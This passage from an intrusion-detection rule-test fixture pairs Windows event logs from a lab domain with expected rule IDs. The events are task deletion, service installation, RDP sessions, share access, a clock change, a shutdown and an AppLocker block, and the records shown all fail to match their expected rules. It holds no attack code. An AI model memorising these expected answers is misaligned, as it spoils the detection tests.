\"EXCHANGETEST\\AtomicRed\" deleted Task Scheduler task \"\\test-task\"\"", "win.system.opcode": "0", "win.system.processID": "1104", "win.system.providerGuid": "{de7b24ea-73c8-4a09-985d-5bdadcfa9017}", "win.system.providerName": "Microsoft-Windows-TaskScheduler", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2022-08-11T20:39:10.7871630Z", "win.system.task": "141", "win.system.threadID": "4656", "win.system.version": "0"}, "field_names": ["win.eventdata.taskName", "win.eventdata.userName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67015", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Task scheduler: delete task"} +{"log": "{\"win\":{\"eventdata\":{\"taskName\":\"\\\\\\\\test-task\",\"userName\":\"System\"},\"system\":{\"eventID\":\"142\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{de7b24ea-73c8-4a09-985d-5bdadcfa9017}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-TaskScheduler/Operational\",\"opcode\":\"0\",\"message\":\"\\\"User \\\"System\\\" disabled Task Scheduler task \\\"\\\\test-task\\\"\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-11T20:38:37.2298208Z\",\"eventRecordID\":\"60209\",\"threadID\":\"5576\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"142\",\"processID\":\"1104\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-TaskScheduler\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.taskName": "\\\\test-task", "win.eventdata.userName": "System", "win.system.channel": "Microsoft-Windows-TaskScheduler/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "142", "win.system.eventRecordID": "60209", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.message": "\"User \"System\" disabled Task Scheduler task \"\\test-task\"\"", "win.system.opcode": "0", "win.system.processID": "1104", "win.system.providerGuid": "{de7b24ea-73c8-4a09-985d-5bdadcfa9017}", "win.system.providerName": "Microsoft-Windows-TaskScheduler", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2022-08-11T20:38:37.2298208Z", "win.system.task": "142", "win.system.threadID": "5576", "win.system.version": "0"}, "field_names": ["win.eventdata.taskName", "win.eventdata.userName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67016", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Task scheduler: disable task"} +{"log": "{\"win\":{\"eventdata\":{\"serviceType\":\"user mode service\",\"accountName\":\"LocalSystem\",\"imagePath\":\"C:\\\\\\\\nssm-2.24-101-g897c7ad\\\\\\\\win64\\\\\\\\nssm.exe\",\"startType\":\"auto start\",\"serviceName\":\"shoulddelete\"},\"system\":{\"eventID\":\"7045\",\"eventSourceName\":\"Service Control Manager\",\"keywords\":\"0x8080000000000000\",\"providerGuid\":\"{555908d1-a6d7-4695-8e1e-26931d2012f4}\",\"level\":\"4\",\"channel\":\"System\",\"opcode\":\"0\",\"message\":\"\\\"A service was installed in the system.\\r\\n\\r\\nService Name: shoulddelete\\r\\nService File Name: C:\\\\nssm-2.24-101-g897c7ad\\\\win64\\\\nssm.exe\\r\\nService Type: user mode service\\r\\nService Start Type: auto start\\r\\nService Account: LocalSystem\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-11T23:44:28.9085059Z\",\"eventRecordID\":\"15753\",\"threadID\":\"536\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"0\",\"processID\":\"620\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Service Control Manager\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.accountName": "LocalSystem", "win.eventdata.imagePath": "C:\\\\nssm-2.24-101-g897c7ad\\\\win64\\\\nssm.exe", "win.eventdata.serviceName": "shoulddelete", "win.eventdata.serviceType": "user mode service", "win.eventdata.startType": "auto start", "win.system.channel": "System", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "7045", "win.system.eventRecordID": "15753", "win.system.eventSourceName": "Service Control Manager", "win.system.keywords": "0x8080000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "620", "win.system.providerGuid": "{555908d1-a6d7-4695-8e1e-26931d2012f4}", "win.system.providerName": "Service Control Manager", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2022-08-11T23:44:28.9085059Z", "win.system.task": "0", "win.system.threadID": "536", "win.system.version": "0"}, "field_names": ["win.eventdata.accountName", "win.eventdata.imagePath", "win.eventdata.serviceName", "win.eventdata.serviceType", "win.eventdata.startType", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.eventSourceName", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61138", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Create service"} +{"log": "{\"win\":{\"eventdata\":{\"accountDomain\":\"EXCHANGETEST\",\"logonID\":\"0xa197f3\",\"accountName\":\"AtomicRed\",\"clientName\":\"DESKTOP-K8SKTTJ\",\"sessionName\":\"RDP-Tcp#9\",\"clientAddress\":\"192.168.0.115\"},\"system\":{\"eventID\":\"4778\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"A session was reconnected to a Window Station.\\r\\n\\r\\nSubject:\\r\\n\\tAccount Name:\\t\\tAtomicRed\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0xA197F3\\r\\n\\r\\nSession:\\r\\n\\tSession Name:\\t\\tRDP-Tcp#9\\r\\n\\r\\nAdditional Information:\\r\\n\\tClient Name:\\t\\tDESKTOP-K8SKTTJ\\r\\n\\tClient Address:\\t\\t192.168.0.115\\r\\n\\r\\nThis event is generated when a user reconnects to an existing Terminal Services session, or when a user switches to an existing desktop using Fast User Switching.\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-12T18:49:06.0784840Z\",\"eventRecordID\":\"1254999\",\"threadID\":\"1500\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12551\",\"processID\":\"672\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.accountDomain": "EXCHANGETEST", "win.eventdata.accountName": "AtomicRed", "win.eventdata.clientAddress": "192.168.0.115", "win.eventdata.clientName": "DESKTOP-K8SKTTJ", "win.eventdata.logonID": "0xa197f3", "win.eventdata.sessionName": "RDP-Tcp#9", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4778", "win.system.eventRecordID": "1254999", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "672", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-12T18:49:06.0784840Z", "win.system.task": "12551", "win.system.threadID": "1500", "win.system.version": "0"}, "field_names": ["win.eventdata.accountDomain", "win.eventdata.accountName", "win.eventdata.clientAddress", "win.eventdata.clientName", "win.eventdata.logonID", "win.eventdata.sessionName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "60108", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Terminal Services connect"} +{"log": "{\"win\":{\"eventdata\":{\"accountDomain\":\"EXCHANGETEST\",\"logonID\":\"0xa197f3\",\"accountName\":\"AtomicRed\",\"clientName\":\"DESKTOP-K8SKTTJ\",\"sessionName\":\"RDP-Tcp#9\",\"clientAddress\":\"192.168.0.115\"},\"system\":{\"eventID\":\"4779\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"A session was disconnected from a Window Station.\\r\\n\\r\\nSubject:\\r\\n\\tAccount Name:\\t\\tAtomicRed\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0xA197F3\\r\\n\\r\\nSession:\\r\\n\\tSession Name:\\t\\tRDP-Tcp#9\\r\\n\\r\\nAdditional Information:\\r\\n\\tClient Name:\\t\\tDESKTOP-K8SKTTJ\\r\\n\\tClient Address:\\t\\t192.168.0.115\\r\\n\\r\\n\\r\\nThis event is generated when a user disconnects from an existing Terminal Services session, or when a user switches away from an existing desktop using Fast User Switching.\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-12T18:57:45.7437245Z\",\"eventRecordID\":\"1255021\",\"threadID\":\"7564\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12551\",\"processID\":\"672\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.accountDomain": "EXCHANGETEST", "win.eventdata.accountName": "AtomicRed", "win.eventdata.clientAddress": "192.168.0.115", "win.eventdata.clientName": "DESKTOP-K8SKTTJ", "win.eventdata.logonID": "0xa197f3", "win.eventdata.sessionName": "RDP-Tcp#9", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4779", "win.system.eventRecordID": "1255021", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "672", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-12T18:57:45.7437245Z", "win.system.task": "12551", "win.system.threadID": "7564", "win.system.version": "0"}, "field_names": ["win.eventdata.accountDomain", "win.eventdata.accountName", "win.eventdata.clientAddress", "win.eventdata.clientName", "win.eventdata.logonID", "win.eventdata.sessionName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "60108", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Terminal Services disconnect"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x17880fe\",\"subjectUserSid\":\"S-1-5-21-887924094-598891991-956377308-1146\",\"ipPort\":\"60366\",\"subjectDomainName\":\"EXCHANGETEST\",\"shareLocalPath\":\"\\\\\\\\??\\\\\\\\C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Documents\",\"ipAddress\":\"192.168.0.115\",\"accessList\":\"%%4416\",\"accessMask\":\"0x1\",\"shareName\":\"\\\\\\\\\\\\\\\\*\\\\\\\\Documents\",\"subjectUserName\":\"AtomicRed\",\"objectType\":\"File\"},\"system\":{\"eventID\":\"5140\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"A network share object was accessed.\\r\\n\\t\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-1146\\r\\n\\tAccount Name:\\t\\tAtomicRed\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x17880FE\\r\\n\\r\\nNetwork Information:\\t\\r\\n\\tObject Type:\\t\\tFile\\r\\n\\tSource Address:\\t\\t192.168.0.115\\r\\n\\tSource Port:\\t\\t60366\\r\\n\\t\\r\\nShare Information:\\r\\n\\tShare Name:\\t\\t\\\\\\\\*\\\\Documents\\r\\n\\tShare Path:\\t\\t\\\\??\\\\C:\\\\Users\\\\AtomicRed\\\\Documents\\r\\n\\r\\nAccess Request Information:\\r\\n\\tAccess Mask:\\t\\t0x1\\r\\n\\tAccesses:\\t\\tReadData (or ListDirectory)\\r\\n\\t\\t\\t\\t\\r\\n\\\"\",\"version\":\"1\",\"systemTime\":\"2022-08-12T19:43:57.7974347Z\",\"eventRecordID\":\"1280841\",\"threadID\":\"6540\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12808\",\"processID\":\"4\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.accessList": "%%4416", "win.eventdata.accessMask": "0x1", "win.eventdata.ipAddress": "192.168.0.115", "win.eventdata.ipPort": "60366", "win.eventdata.objectType": "File", "win.eventdata.shareLocalPath": "\\\\??\\\\C:\\\\Users\\\\AtomicRed\\\\Documents", "win.eventdata.shareName": "\\\\\\\\*\\\\Documents", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x17880fe", "win.eventdata.subjectUserName": "AtomicRed", "win.eventdata.subjectUserSid": "S-1-5-21-887924094-598891991-956377308-1146", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "5140", "win.system.eventRecordID": "1280841", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "4", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-12T19:43:57.7974347Z", "win.system.task": "12808", "win.system.threadID": "6540", "win.system.version": "1"}, "field_names": ["win.eventdata.accessList", "win.eventdata.accessMask", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.objectType", "win.eventdata.shareLocalPath", "win.eventdata.shareName", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67017", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Network share object access without IPC$ and Netlogon shares"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x17880fe\",\"subjectUserSid\":\"S-1-5-21-887924094-598891991-956377308-1146\",\"ipPort\":\"60366\",\"subjectDomainName\":\"EXCHANGETEST\",\"ipAddress\":\"192.168.0.115\",\"accessList\":\"%%4416\",\"accessMask\":\"0x1\",\"shareName\":\"\\\\\\\\\\\\\\\\*\\\\\\\\IPC$\",\"subjectUserName\":\"AtomicRed\",\"objectType\":\"File\"},\"system\":{\"eventID\":\"5140\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"A network share object was accessed.\\r\\n\\t\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-1146\\r\\n\\tAccount Name:\\t\\tAtomicRed\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x17880FE\\r\\n\\r\\nNetwork Information:\\t\\r\\n\\tObject Type:\\t\\tFile\\r\\n\\tSource Address:\\t\\t192.168.0.115\\r\\n\\tSource Port:\\t\\t60366\\r\\n\\t\\r\\nShare Information:\\r\\n\\tShare Name:\\t\\t\\\\\\\\*\\\\IPC$\\r\\n\\tShare Path:\\t\\t\\r\\n\\r\\nAccess Request Information:\\r\\n\\tAccess Mask:\\t\\t0x1\\r\\n\\tAccesses:\\t\\tReadData (or ListDirectory)\\r\\n\\t\\t\\t\\t\\r\\n\\\"\",\"version\":\"1\",\"systemTime\":\"2022-08-12T19:43:57.7965891Z\",\"eventRecordID\":\"1280840\",\"threadID\":\"6540\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12808\",\"processID\":\"4\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.accessList": "%%4416", "win.eventdata.accessMask": "0x1", "win.eventdata.ipAddress": "192.168.0.115", "win.eventdata.ipPort": "60366", "win.eventdata.objectType": "File", "win.eventdata.shareName": "\\\\\\\\*\\\\IPC$", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x17880fe", "win.eventdata.subjectUserName": "AtomicRed", "win.eventdata.subjectUserSid": "S-1-5-21-887924094-598891991-956377308-1146", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "5140", "win.system.eventRecordID": "1280840", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "4", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-12T19:43:57.7965891Z", "win.system.task": "12808", "win.system.threadID": "6540", "win.system.version": "1"}, "field_names": ["win.eventdata.accessList", "win.eventdata.accessMask", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.objectType", "win.eventdata.shareName", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67017", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Network share object access with IPC$ and Netlogon shares"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x3e7\",\"previousTime\":\"2022-08-13T19:48:08.1093244Z\",\"subjectUserSid\":\"S-1-5-18\",\"processId\":\"0x654\",\"processName\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\VBoxService.exe\",\"subjectDomainName\":\"EXCHANGETEST\",\"newTime\":\"2022-08-12T19:48:16.4640000Z\",\"subjectUserName\":\"HRMANAGER$\"},\"system\":{\"eventID\":\"4616\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"The system time was changed.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-18\\r\\n\\tAccount Name:\\t\\tHRMANAGER$\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x3E7\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t0x654\\r\\n\\tName:\\t\\tC:\\\\Windows\\\\System32\\\\VBoxService.exe\\r\\n\\r\\nPrevious Time:\\t\\t‎2022‎-‎08‎-‎13T19:48:08.109324400Z\\r\\nNew Time:\\t\\t‎2022‎-‎08‎-‎12T19:48:16.464000000Z\\r\\n\\r\\nThis event is generated when the system time is changed. It is normal for the Windows Time Service, which runs with System privilege, to change the system time on a regular basis. Other system time changes may be indicative of attempts to tamper with the computer.\\\"\",\"version\":\"1\",\"systemTime\":\"2022-08-12T19:48:16.4643388Z\",\"eventRecordID\":\"1281495\",\"threadID\":\"9916\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12288\",\"processID\":\"4\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.newTime": "2022-08-12T19:48:16.4640000Z", "win.eventdata.previousTime": "2022-08-13T19:48:08.1093244Z", "win.eventdata.processId": "0x654", "win.eventdata.processName": "C:\\\\Windows\\\\System32\\\\VBoxService.exe", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x3e7", "win.eventdata.subjectUserName": "HRMANAGER$", "win.eventdata.subjectUserSid": "S-1-5-18", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4616", "win.system.eventRecordID": "1281495", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "4", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-12T19:48:16.4643388Z", "win.system.task": "12288", "win.system.threadID": "9916", "win.system.version": "1"}, "field_names": ["win.eventdata.newTime", "win.eventdata.previousTime", "win.eventdata.processId", "win.eventdata.processName", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "60132", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Change system date"} +{"log": "{\"win\":{\"eventdata\":{\"param7\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"param5\":\"power off\",\"param6\":\"testing events\",\"param3\":\"Other (Planned)\",\"param4\":\"0x85000000\",\"param1\":\"wininit.exe (HRMANAGER)\",\"param2\":\"HRMANAGER\"},\"system\":{\"eventID\":\"1074\",\"eventSourceName\":\"User32\",\"keywords\":\"0x8080000000000000\",\"providerGuid\":\"{b0aa8734-56f7-41cc-b2f4-de228e98b946}\",\"level\":\"4\",\"channel\":\"System\",\"opcode\":\"0\",\"message\":\"\\\"The process wininit.exe (HRMANAGER) has initiated the power off of computer HRMANAGER on behalf of user EXCHANGETEST\\\\AtomicRed for the following reason: Other (Planned)\\r\\n Reason Code: 0x85000000\\r\\n Shutdown Type: power off\\r\\n Comment: testing events\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-12T19:52:25.8264794Z\",\"eventRecordID\":\"15957\",\"threadID\":\"464\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"0\",\"processID\":\"448\",\"severityValue\":\"INFORMATION\",\"providerName\":\"User32\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.param1": "wininit.exe (HRMANAGER)", "win.eventdata.param2": "HRMANAGER", "win.eventdata.param3": "Other (Planned)", "win.eventdata.param4": "0x85000000", "win.eventdata.param5": "power off", "win.eventdata.param6": "testing events", "win.eventdata.param7": "EXCHANGETEST\\\\AtomicRed", "win.system.channel": "System", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1074", "win.system.eventRecordID": "15957", "win.system.eventSourceName": "User32", "win.system.keywords": "0x8080000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "448", "win.system.providerGuid": "{b0aa8734-56f7-41cc-b2f4-de228e98b946}", "win.system.providerName": "User32", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2022-08-12T19:52:25.8264794Z", "win.system.task": "0", "win.system.threadID": "464", "win.system.version": "0"}, "field_names": ["win.eventdata.param1", "win.eventdata.param2", "win.eventdata.param3", "win.eventdata.param4", "win.eventdata.param5", "win.eventdata.param6", "win.eventdata.param7", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.eventSourceName", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67018", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Shutdown initiate requests"} +{"log": "{\"win\":{\"system\":{\"eventID\":\"8020\",\"keywords\":\"0x2000000000000000\",\"providerGuid\":\"{cbda4dbf-8d5d-4f69-9578-be14aa540d22}\",\"level\":\"2\",\"channel\":\"Microsoft-Windows-AppLocker/Packaged app-Execution\",\"opcode\":\"0\",\"message\":\"\\\"\\\\??\\\\C:\\\\Program Files\\\\WindowsApps\\\\5319275A.WhatsAppDesktop_2.2228.14.0_x64__cv1g1gvanyjgm\\\\app\\\\WhatsApp.exe was prevented from running.\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-16T18:39:16.1843343Z\",\"eventRecordID\":\"41\",\"threadID\":\"4120\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"0\",\"processID\":\"1276\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-AppLocker\"},\"ruleAndFileData\":{\"targetProcessId\":\"5788\",\"package\":\"\\\\\\\\??\\\\\\\\C:\\\\\\\\Program Files\\\\\\\\WindowsApps\\\\\\\\5319275A.WhatsAppDesktop_2.2228.14.0_x64__cv1g1gvanyjgm\\\\\\\\app\\\\\\\\WhatsApp.exe\",\"ruleNameLength\":\"44\",\"policyName\":\"Appx\",\"policyNameLength\":\"4\",\"fqbn\":\"CN=24803D75-212C-471A-BC57-9EF86AB91435\\\\\\\\5319275A.WHATSAPPDESKTOP\\\\\\\\WHATSAPP\\\\\\\\2.2228.14.00\",\"ruleSddl\":\"D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({\\\\\\\"CN=24803D75-212C-471A-BC57-9EF86AB91435\\\\\\\\5319275A.WHATSAPPDESKTOP\\\\\\\\*\\\\\\\",0}))))\",\"fqbnLength\":\"86\",\"ruleName\":\"5319275A.WhatsAppDesktop, from WhatsApp Inc.\",\"packageLength\":\"105\",\"ruleId\":\"{a480952c-a710-4d92-b9a3-2fbff7c12866}\",\"ruleSddlLength\":\"142\",\"targetUser\":\"S-1-5-21-887924094-598891991-956377308-1146\"}}}", "decoder": "json", "parent": "", "fields": {"win.ruleAndFileData.fqbn": "CN=24803D75-212C-471A-BC57-9EF86AB91435\\\\5319275A.WHATSAPPDESKTOP\\\\WHATSAPP\\\\2.2228.14.00", "win.ruleAndFileData.fqbnLength": "86", "win.ruleAndFileData.package": "\\\\??\\\\C:\\\\Program Files\\\\WindowsApps\\\\5319275A.WhatsAppDesktop_2.2228.14.0_x64__cv1g1gvanyjgm\\\\app\\\\WhatsApp.exe", "win.ruleAndFileData.packageLength": "105", "win.ruleAndFileData.policyName": "Appx", "win.ruleAndFileData.policyNameLength": "4", "win.ruleAndFileData.ruleId": "{a480952c-a710-4d92-b9a3-2fbff7c12866}", "win.ruleAndFileData.ruleName": "5319275A.WhatsAppDesktop, from WhatsApp Inc.", "win.ruleAndFileData.ruleNameLength": "44", "win.ruleAndFileData.ruleSddl": "D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({\\\"CN=24803D75-212C-471A-BC57-9EF86AB91435\\\\5319275A.WHATSAPPDESKTOP\\\\*\\\",0}))))", "win.ruleAndFileData.ruleSddlLength": "142", "win.ruleAndFileData.targetProcessId": "5788", "win.ruleAndFileData.targetUser": "S-1-5-21-887924094-598891991-956377308-1146", "win.system.channel": "Microsoft-Windows-AppLocker/Packaged app-Execution", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "8020", "win.system.eventRecordID": "41", "win.system.keywords": "0x2000000000000000", "win.system.level": "2", "win.system.message": "\"\\??\\C:\\Program Files\\WindowsApps\\5319275A.WhatsAppDesktop_2.2228.14.0_x64__cv1g1gvanyjgm\\app\\WhatsApp.exe was prevented from running.\"", "win.system.opcode": "0", "win.system.processID": "1276", "win.system.providerGuid": "{cbda4dbf-8d5d-4f69-9578-be14aa540d22}", "win.system.providerName": "Microsoft-Windows-AppLocker", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2022-08-16T18:39:16.1843343Z", "win.system.task": "0", "win.system.threadID": "4120", "win.system.version": "0"}, "field_names": ["win.ruleAndFileData.fqbn", "win.ruleAndFileData.fqbnLength", "win.ruleAndFileData.package", "win.ruleAndFileData.packageLength", "win.ruleAndFileData.policyName", "win.ruleAndFileData.policyNameLength", 